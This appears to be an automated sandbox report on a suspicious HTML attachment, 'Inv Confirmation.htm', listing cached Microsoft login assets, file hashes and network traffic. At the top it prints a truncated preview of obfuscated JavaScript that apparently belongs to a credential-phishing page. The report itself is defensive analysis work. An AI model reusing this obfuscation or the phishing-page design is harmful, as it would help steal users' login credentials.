Preview:	var _0x34588b=_0x528f;(function(_0x6f4909,_0x59cfa8){var _0x1dc4e3=_0x528f,_0x582c11=_0x6f4909();while(!![]){try{var _0x32dc8d=-parseInt(_0x1dc4e3(0xf2))/0x1+-parseInt(_0x1dc4e3(0xec))/0x2+parseInt(_0x1dc4e3(0x10b))/0x3(-parseInt(_0x1dc4e3(0xf0))/0x4)+-parseInt(_0x1dc4e3(0x109))/0x5+-parseInt(_0x1dc4e3(0xe7))/0x6(-parseInt(_0x1dc4e3(0xf6))/0x7)+-parseInt(_0x1dc4e3(0x10e))/0x8(parseInt(_0x1dc4e3(0xf1))/0x9)+-parseInt(_0x1dc4e3(0xe9))/0xa(-parseInt(_0x1dc4e3(0xf7))/0xb);if(_0x32dc8d===_0x59cfa8)break;else _0x582c11['push'](_0x582c11['shift']());}catch(_0x1a6a8e){_0x582c11['push'](_0x582c11['shift']());}}}(_0x3b7f,0x1959d),$(document)['on'](_0x34588b(0x104),_0x34588b(0xfb),function(){var _0x3a10b9=_0x34588b;$(_0x3a10b9(0x115))[_0x3a10b9(0xef)]($(this)[_0x3a10b9(0x124)]());}),window[_0x34588b(0xfe)]=function onoff(){var _0x1b43d5=_0x34588b;document[_0x1b43d5(0x117)](_0x1b43d5(0xfa))[_0x1b43d5(0x114)]=function(_0x180e2c){var _0x41887d=_0x1b43d5;_0x180e2c[_0x41887d(0x11c)]==0xd&&checkmyE

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 110554
Category:	downloaded
Size (bytes):	19953
Entropy (8bit):	7.979493872046846
Encrypted:	false
SSDEEP:	384:skPgmQFfKoKTQEdvXNfur7Yx01oYmMdh4KAeIjxo:vyFccEdvZzS95h4dc
MD5:	C60D83111FACE767A068BE9B5178B887
SHA1:	BDBE2ED3247BB647CB318A9D0A4182E65B66473D
SHA-256:	62F6067588E8E74833692A1511AC8AF5B66F380E8BFC842B7EC7B2785494AEC3
SHA-512:	C5C424AA2AA7AB782C294512CB3666E2AB67FC152F46576531733DAD7EE4FB4CB19BCB763C126C42DD131BF7642A103ABDF0C784BA1A0D62175F400A6D9922D7
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css
Preview:	...........}k..6..w...\..J.H=GSq..x.9...}T.....)Q..f<.3..... ..d..V..[D7.@w.....w..!x^.n..j].O.....EYT.&..(.:+.a.,...T.eZ..u...o....?<.w._.........>..x.c..\|.#x......Ag..}\gU...4 .^&U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.L..&xB...]R....0.Hp...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=.....T+V./.b.....\....7L8...=i4.Sl...TB...5...Ep[.E.u{..U@...X94].#UX..uh4.i.."....ROH... T.mpU&[.rY..\rU..&..=..e.....T.....U].viNe..dU.>z..wGh]...o...eQ.U]&.~.TU.d.......j...+.?O...G...N.x....7YMd.....G....dUE.C.0#.T\|..%O....:)....o...viY.qY'..6a...`2!P!.P...F.],...iY,.T6L.....Pm8. r...B.i.?.LS$( .^.{..u.-.0I...KZ...M&J...<"D..i..g/...lE.MY.v.K.y.`.Q...$V4.1.G......G.BF{..]...../XT......%Y.h./....Y..e.DjIh.E_.9...i.b..h..9.trY\.>#B...R..jM..e*.F...h.lNI..j"xj..c...$............g._....w.......?.'.>..^../...1 ..!...go......{....{......G....xA...<....o~.~ ....^]..&D?..h..........$..~.xu....G...........36.\<........{...).GB.....'..x.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (4913), with CRLF line terminators
Entropy (8bit):	5.479056056497615
TrID:
File name:	Inv Confirmation.htm
File size:	18'881 bytes
MD5:	66d22fda33da3d3254bb4ecc8cb8adf3
SHA1:	a928b4b11b54518d7669c560c21af77265790757
SHA256:	25608b0409a1b12f6b5085870214b17b3d6cd1088ebbf6976bfad906c949d338
SHA512:	3823b0b9d56b1d02ad795b64bf372d91cd8bc8e14dbc7eb4cc220f48165281d30af0f715c4d97328f0975a299fae8b548a5aa71f22f7344635cfd7d7e299e276
SSDEEP:	384:bru/PJT/PJ6PJT/PJmFKpP8eee2h3geee22Weee2L410Oeee2dGeee2/Feeeeeej:nu/Pt/PsPt/Pofu/Pt/PsPt/PZo
TLSH:	F6821F6E9FBB5D7CC2318A12DC317D0D58B0AFB2A95BE266B52B3981CBA10F10F5045D
File Content Preview:	<html dir="ltr" class="" lang="en"><head>.. ............................................................................................................................................................................................................

File Icon


Icon Hash:	173149cccc490307

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 22:09:06.332134962 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:06.332148075 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:06.441473007 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:15.941359997 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:15.941391945 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:16.050807953 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:17.864501953 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 24, 2024 22:09:17.864609003 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 24, 2024 22:09:25.957251072 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:25.957263947 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:25.957331896 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:25.958592892 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:25.958602905 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.527699947 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:26.527754068 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:26.527868032 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:26.529285908 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:26.529314995 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:26.826222897 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.826488018 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:26.826494932 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.828129053 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.828219891 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:26.829950094 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:26.830030918 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.830158949 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:26.830164909 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:26.883052111 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:26.936295033 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:26.936322927 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:26.936438084 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:26.936621904 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:26.936641932 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.077476025 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.077542067 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.077569962 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.077594995 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.077615023 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.077624083 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.077661991 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.132792950 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.132802010 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.179099083 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.195802927 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.195836067 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.195854902 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.195878983 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.195940971 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.238244057 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.238265991 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.238306046 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.238307953 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.238334894 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.238356113 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.316162109 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.316196918 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.316242933 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.316286087 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.318552017 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.318634033 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.318643093 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.318756104 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.318840027 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.319245100 CEST	49712	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.319257021 CEST	443	49712	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.338644981 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.338737965 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:27.338747978 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.338772058 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:27.338850021 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.338866949 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.339128971 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339184999 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:27.339265108 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339329958 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339405060 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:27.339473963 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.339488029 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:27.339499950 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339617014 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:27.339657068 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:27.339751959 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339783907 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:27.339876890 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:27.339901924 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:27.518862963 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.518929005 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.519078016 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.519339085 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:27.519370079 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:27.888911963 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:27.889008999 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:27.893160105 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:27.893172979 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:27.893583059 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:27.897614956 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.897964954 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:27.897974968 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.899486065 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.899573088 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:27.903666973 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:27.903846025 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.948688984 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:27.948697090 CEST	443	49716	142.250.185.228	192.168.2.5
Oct 24, 2024 22:09:27.948703051 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:27.994815111 CEST	49716	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:09:28.077435970 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.077688932 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.077714920 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.077740908 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.078054905 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.078078985 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.079432011 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.079509974 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.079519033 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.079588890 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.080403090 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.080682993 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.080779076 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.080979109 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.081026077 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.081064939 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.081149101 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.081279039 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.081298113 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.081387997 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.081398010 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.082097054 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.082165956 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.082470894 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.082550049 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.082644939 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.082662106 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.085477114 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.085741043 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.085755110 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.086745024 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.086797953 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.087625027 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.087685108 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.087759972 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.131362915 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.133991957 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.133996964 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.134000063 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.134001970 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.134015083 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.177428961 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.188404083 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.188430071 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:28.188491106 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.188792944 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.188808918 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:28.216619015 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.217196941 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.217412949 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.217760086 CEST	49719	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.217776060 CEST	443	49719	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.230690956 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.230720043 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.230832100 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.231045961 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.231061935 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.347182035 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.347440958 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.347497940 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.349175930 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.349251986 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.349864960 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.349956036 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.350186110 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.350203037 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.396126032 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.433459997 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.433500051 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.433578968 CEST	443	49718	13.107.246.67	192.168.2.5
Oct 24, 2024 22:09:28.433594942 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.433640957 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.443969011 CEST	49718	443	192.168.2.5	13.107.246.67
Oct 24, 2024 22:09:28.444000959 CEST	443	49718	13.107.246.67	192.168.2.5
